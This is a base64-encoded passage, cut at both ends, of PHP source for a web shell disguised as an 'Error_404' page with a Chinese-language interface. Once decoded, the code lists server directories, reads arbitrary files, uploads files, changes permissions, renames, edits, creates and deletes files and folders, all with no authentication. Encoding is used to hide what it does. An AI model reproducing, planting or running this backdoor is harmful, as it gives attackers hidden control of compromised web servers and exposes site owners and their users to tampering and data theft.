1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTj